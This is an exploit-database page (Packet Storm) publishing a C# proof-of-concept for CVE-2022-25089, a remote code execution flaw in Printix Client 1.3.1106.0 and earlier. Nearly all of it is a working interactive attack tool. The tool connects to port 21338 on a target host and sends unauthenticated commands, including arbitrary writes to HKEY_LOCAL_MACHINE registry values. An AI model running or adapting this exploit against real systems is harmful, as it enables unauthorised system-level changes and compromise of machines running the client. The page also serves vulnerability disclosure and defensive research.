Lucene search

K
packetstormLogan LatvalaPACKETSTORM:166178
HistoryMar 02, 2022 - 12:00 a.m.

Printix Client 1.3.1106.0 Remote Code Execution

2022-03-0200:00:00
Logan Latvala
packetstormsecurity.com
277

0.075 Low

EPSS

Percentile

94.1%

`# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)  
# Date: 3/1/2022  
# Exploit Author: Logan Latvala  
# Vendor Homepage: https://printix.net  
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip  
# Version: <= 1.3.1106.0  
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11  
# CVE : CVE-2022-25089  
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089  
  
using Microsoft.Win32;  
using Newtonsoft.Json;  
using Newtonsoft.Json.Converters;  
using System;  
using System.Collections.Generic;  
using System.Diagnostics;  
using System.Linq;  
using System.Text;  
using System.Threading;  
using System.Threading.Tasks;  
  
/**  
* ________________________________________  
*   
* Printix Vulnerability, CVE-2022-25089  
* Part of a Printix Vulnerability series  
* Author: Logan Latvala  
* Github: https://github.com/ComparedArray/printix-CVE-2022-25089  
* ________________________________________  
*   
*/  
  
  
namespace ConsoleApp1a  
{  
  
public class PersistentRegistryData  
{  
public PersistentRegistryCmds cmd;  
  
public string path;  
  
public int VDIType;  
  
public byte[] registryData;  
}  
  
[JsonConverter(typeof(StringEnumConverter))]  
public enum PersistentRegistryCmds  
{  
StoreData = 1,  
DeleteSubTree,  
RestoreData  
}  
public class Session  
{  
public int commandNumber { get; set; }  
public string host { get; set; }  
public string data { get; set; }  
public string sessionName { get; set; }  
public Session(int commandSessionNumber = 0)  
{  
commandNumber = commandSessionNumber;  
switch (commandSessionNumber)  
{  
//Incase it's initiated, kill it immediately.  
case (0):  
Environment.Exit(0x001);  
break;  
  
//Incase the Ping request is sent though, get its needed data.  
case (2):  
Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n");  
Console.Write("IP: ");  
host = Console.ReadLine();  
Console.WriteLine("Host address set to: " + host);  
  
data = "pingData";  
sessionName = "PingerRinger";  
break;  
  
//Incase the RegEdit request is sent though, get its needed data.  
case (49):  
Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n");  
Console.Write("IP: ");  
host = Console.ReadLine();  
Console.WriteLine("Host address set to: " + host);  
  
PersistentRegistryData persistentRegistryData = new PersistentRegistryData();  
persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;  
persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;  
//persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";  
Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");  
Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");  
Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");  
Console.Write("Registry Node: ");  
persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");  
Console.WriteLine("Full Address Set To: " + persistentRegistryData.path);  
  
//persistentRegistryData.registryData = new byte[2];  
//byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);  
  
Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword 3. Qword 4. Multi String \n");  
Console.Write("Type: ");  
int dataF = int.Parse(Console.ReadLine());  
Console.WriteLine("Set Data to: " + dataF);  
  
Console.WriteLine("\n What value is your type? \n");  
Console.Write("Value: ");  
string dataB = Console.ReadLine();  
Console.WriteLine("Set Data to: " + dataF);  
  
byte[] loader = null;  
List<byte> byteContainer = new List<byte>();  
//Dword = 4  
//SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)  
  
switch (dataF)  
{  
case (1):  
  
loader = selectDataType(dataB, RegistryValueKind.String);  
byteContainer.Add(1);  
break;  
case (2):  
loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);  
byteContainer.Add(4);  
break;  
case (3):  
loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);  
byteContainer.Add(11);  
break;  
case (4):  
loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);  
byteContainer.Add(7);  
break;  
  
}  
  
int pathHolder = 0;  
foreach (byte bit in loader)  
{  
pathHolder++;  
byteContainer.Add(bit);  
}  
  
persistentRegistryData.registryData = byteContainer.ToArray();  
//added stuff:  
  
//PersistentRegistryData data = new PersistentRegistryData();  
//data.cmd = PersistentRegistryCmds.RestoreData;  
//data.path = "";  
  
  
//data.cmd   
Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));  
data = JsonConvert.SerializeObject(persistentRegistryData);  
  
break;  
//Custom cases, such as custom JSON Inputs and more.  
case (100):  
Console.WriteLine("\n What Host Address? (DNS Names Or IP)\n");  
Console.Write("IP: ");  
host = Console.ReadLine();  
Console.WriteLine("Host address set to: " + host);  
  
Console.WriteLine("\n What Data Should Be Sent?\n");  
Console.Write("Data: ");  
data = Console.ReadLine();  
Console.WriteLine("Data set to: " + data);  
  
Console.WriteLine("\n What Session Name Should Be Used? \n");  
Console.Write("Session Name: ");  
sessionName = Console.ReadLine();  
Console.WriteLine("Session name set to: " + sessionName);  
break;  
}  
  
  
}  
public static byte[] selectDataType(object value, RegistryValueKind format)  
{  
byte[] array = new byte[50];  
  
switch (format)  
{  
case RegistryValueKind.String: //1  
array = Encoding.UTF8.GetBytes((string)value);  
break;  
case RegistryValueKind.DWord://4  
array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));  
break;  
case RegistryValueKind.QWord://11  
if (value == null)  
{  
value = 0L;  
}  
array = BitConverter.GetBytes((long)value);  
break;  
case RegistryValueKind.MultiString://7   
{  
if (value == null)  
{  
value = new string[1] { string.Empty };  
}  
string[] array2 = (string[])value;  
foreach (string s in array2)  
{  
byte[] bytes = Encoding.UTF8.GetBytes(s);  
byte[] second = new byte[1] { (byte)bytes.Length };  
array = array.Concat(second).Concat(bytes).ToArray();  
}  
break;  
}  
}  
return array;  
}  
}  
class CVESUBMISSION  
{  
static void Main(string[] args)  
{  
FORCERESTART:  
try  
{  
  
//Edit any registry without auth:   
//Use command 49, use the code provided on the desktop...  
//This modifies it directly, so no specific username is needed. :D  
  
//The command parameter, a list of commands is below.  
int command = 43;  
  
//To force the user to input variables or not.  
bool forceCustomInput = false;  
  
//The data to send, this isn't flexible and should be used only for specific examples.  
//Try to keep above 4 characters if you're just shoving things into the command.  
string data = "{\"profileID\":1,\"result\":true}";  
  
//The username to use.  
//This is to fulfill the requriements whilst in development mode.  
DefaultValues.CurrentSessName = "printixMDNs7914";  
  
//The host to connect to. DEFAULT= "localhost"  
string host = "192.168.1.29";  
  
// Configuration Above  
  
InvalidInputLabel:  
Console.Clear();  
Console.WriteLine("Please select the certificate you want to use with port 21338.");  
//Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.  
Console.WriteLine("Already selected, client authentication isn't needed.");  
  
Console.WriteLine(" /───────────────────────────\\ ");  
Console.WriteLine("\nWhat would you like to do?");  
Console.WriteLine("\n 1. Send Ping Request");  
Console.WriteLine(" 2. Send Registry Edit Request");  
Console.WriteLine(" 3. Send Custom Request");  
Console.WriteLine(" 4. Experimental Mode (Beta)\n");  
Console.Write("I choose option # ");  
  
try  
{  
switch (int.Parse(Console.ReadLine().ToLower()))  
{  
case (1):  
Session session = new Session(2);  
  
command = session.commandNumber;  
host = session.host;  
data = session.data;  
DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);  
  
  
  
break;  
case (2):  
Session sessionTwo = new Session(49);  
  
command = sessionTwo.commandNumber;  
host = sessionTwo.host;  
data = sessionTwo.data;  
DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);  
  
break;  
case (3):  
  
Console.WriteLine("What command number do you want to input?");  
command = int.Parse(Console.ReadLine().ToString());  
Console.WriteLine("What IP would you like to use? (Default = localhost)");  
host = Console.ReadLine();  
Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");  
data = Console.ReadLine();  
  
Console.WriteLine("What session name do you want to use? ");  
DefaultValues.CurrentSessName = Console.ReadLine();  
break;  
case (4):  
Console.WriteLine("Not yet implemented.");  
break;  
}  
}  
catch (Exception e)  
{  
Console.WriteLine("Invalid Input!");  
goto InvalidInputLabel;  
}  
  
Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");  
Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.\n");  
  
CompCommClient client = new CompCommClient();  
  
  
byte[] responseStorage = new byte[25555];  
int responseCMD = 0;  
client.Connect(host, 21338, 3, 10000);  
  
client.SendMessage(command, Encoding.UTF8.GetBytes(data));  
// Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.  
// Check for output multiple times, and see if this is conclusive.  
  
  
  
//client.SendMessage(51, Encoding.ASCII.GetBytes(data));  
new Thread(() => {  
//Thread.Sleep(4000);  
if (client.Connected())  
{  
int cam = 0;  
// 4 itterations of loops, may be lifted in the future.  
while (cam < 5)  
{  
  
//Reads the datastream and keeps returning results.  
//Thread.Sleep(100);  
try  
{  
try  
{  
if (responseStorage?.Any() == true)  
{  
//List<byte> byo1 = responseStorage.ToList();  
if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))  
{  
foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))  
{  
if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))  
{  
Console.Write(cam2);  
}  
}  
}else  
{  
  
}  
}  
  
}  
catch (Exception e) { Debug.WriteLine(e); }  
client.Read(out responseCMD, out responseStorage);  
  
}  
catch (Exception e)  
{  
goto ReadException;  
}  
Thread.Sleep(100);  
cam++;  
//Console.WriteLine(cam);  
}  
  
  
  
  
}  
else  
{  
Console.WriteLine("[WARNING]: Client is Disconnected!");  
}  
ReadException:  
try  
{  
Console.WriteLine("Command Variable Response: " + responseCMD);  
Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);  
client.disConnect();  
}  
catch (Exception e)  
{  
Console.WriteLine("After 4.2 Seconds, there has been no response!");  
client.disConnect();  
}  
}).Start();  
  
Console.WriteLine(responseCMD);  
Console.ReadLine();  
  
}  
  
catch (Exception e)  
{  
Console.WriteLine(e);  
Console.ReadLine();  
  
//Environment.Exit(e.HResult);  
}  
  
goto FORCERESTART;  
}  
}  
}  
`

0.075 Low

EPSS

Percentile

94.1%